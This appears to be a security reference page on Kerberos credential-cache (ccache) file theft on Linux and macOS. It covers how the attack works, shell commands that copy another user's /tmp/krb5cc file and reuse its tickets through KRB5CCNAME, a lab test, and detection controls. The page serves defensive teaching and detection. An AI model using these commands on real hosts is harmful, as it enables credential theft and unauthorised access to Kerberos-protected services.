Ccache File Theft
Overview
On Linux and macOS, a Kerberos session does not live only in process memory. The kinit and
service libraries also write the tickets to a credential-cache file, conventionally
/tmp/krb5cc_<uid> and selectable through the KRB5CCNAME environment variable. That file is a
plain on-disk copy of the TGT and any service tickets the user holds, in GSS credential-cache
format. Any process that can read it can replay those tickets until they expire, without ever
needing the password or touching a running process’s memory.
This is the file-based sibling of pass the ticket
on Windows. The exposure is widest on multi-user hosts, shared CI runners, containers that share
a /tmp, and any workflow where one user’s cache is readable by another local account or by a
service running with too-broad file permissions. The attacker does not need to win a memory
race or dodge a protected process; they need a read on the file.
A stolen ccache is time-boxed. The TGT and TGS inside it carry the lifetimes the KDC issued, so the window is the ticket validity, not indefinite access. Renewal is possible only while the TGT’s renewable window still has time in it; once the cache ages out, the theft has to be redone.
The call chain
- 1Locate the ccache fileKRB5CCNAME or /tmp/krb5cc_<uid> holds the TGT and any TGS in GSS credential-cache format.
- 2Read or copy the cacheA process running as the same user, or a local read of the file, is enough to obtain it.
- 3Point a new session at the cacheexport KRB5CCNAME to the stolen path; klist now enumerates the cached tickets.
- 4Use the tickets directlyAccess Kerberos-protected services without a password, within the tickets' validity window.
Reference implementation
The operation is a locate, a read, and a repoint. The attacker needs no kernel access and no process injection - just a path to a readable cache file.
# locate the cache for the target uid $ ls -l /tmp/krb5cc_* -rw------- 1 1000 1000 412 Sep 04 09:12 /tmp/krb5cc_1000 # if the cache is world-readable (the misconfiguration the technique depends on) $ cp /tmp/krb5cc_1000 ./victim.ccache # point a new session at the stolen cache $ export KRB5CCNAME=./victim.ccache $ klist Ticket cache: FILE:./victim.ccache Default principal: jsmith@CORP.LOCAL Valid since Expires Service principal 09/04/26 09:12:00 09/05/26 09:12:00 krbtgt/CORP.LOCAL@CORP.LOCAL 09/04/26 09:14:11 09/05/26 09:12:00 host/web01.corp.local@CORP.LOCAL
# locate the cache for the target uid
$ ls -l /tmp/krb5cc_*
-rw------- 1 1000 1000 412 Sep 04 09:12 /tmp/krb5cc_1000
# if the cache is world-readable (the misconfiguration the technique depends on)
$ cp /tmp/krb5cc_1000 ./victim.ccache
# point a new session at the stolen cache
$ export KRB5CCNAME=./victim.ccache
$ klist
Ticket cache: FILE:./victim.ccache
Default principal: jsmith@CORP.LOCAL
Valid since Expires Service principal
09/04/26 09:12:00 09/05/26 09:12:00 krbtgt/CORP.LOCAL@CORP.LOCAL
09/04/26 09:14:11 09/05/26 09:12:00 host/web01.corp.local@CORP.LOCALOnce KRB5CCNAME points at the stolen file, ordinary Kerberos clients use it transparently.
No password prompt appears, which is both the point and the tell.
# act with the cached TGT, no password $ kinit -c $KRB5CCNAME jsmith@CORP.LOCAL $ kvno host/web01.corp.local host/web01.corp.local@CORP.LOCAL: clockskew(0) vno(1) # the service ticket request is the network artifact # a TGS-REQ for host/web01 from a session that never typed a password <-- the artifact
# act with the cached TGT, no password
$ kinit -c $KRB5CCNAME jsmith@CORP.LOCAL
$ kvno host/web01.corp.local
host/web01.corp.local@CORP.LOCAL: clockskew(0) vno(1)
# the service ticket request is the network artifact
# a TGS-REQ for host/web01 from a session that never typed a password <-- the artifactVerifying in the lab
Create a user with a Kerberos ticket on a Linux host, make the cache file readable by a second account, and confirm the second account can use it. The proof is a service request that succeeds without the second account ever authenticating.
# user A holds the ticket $ kinit apass $ klist # user B reads A's cache and reuses it $ sudo -u userB sh -c 'KRB5CCNAME=/tmp/krb5cc_$(id -u userA) klist' # B lists A's TGT without A's password <-- the artifact
# user A holds the ticket
$ kinit apass
$ klist
# user B reads A's cache and reuses it
$ sudo -u userB sh -c 'KRB5CCNAME=/tmp/krb5cc_$(id -u userA) klist'
# B lists A's TGT without A's password <-- the artifactDetection
The signal is file access to a per-user secret that should not be readable by other local processes.
Rank them: the auditd / EDR open rule on the cache path is the cheapest continuous control and catches both a copy and an in-place read. The file-permission rule is a configuration control that removes the technique’s precondition. The KDC-side network rule is the highest-fidelity confirmation, because it fires only when the stolen cache is actually spent against a service.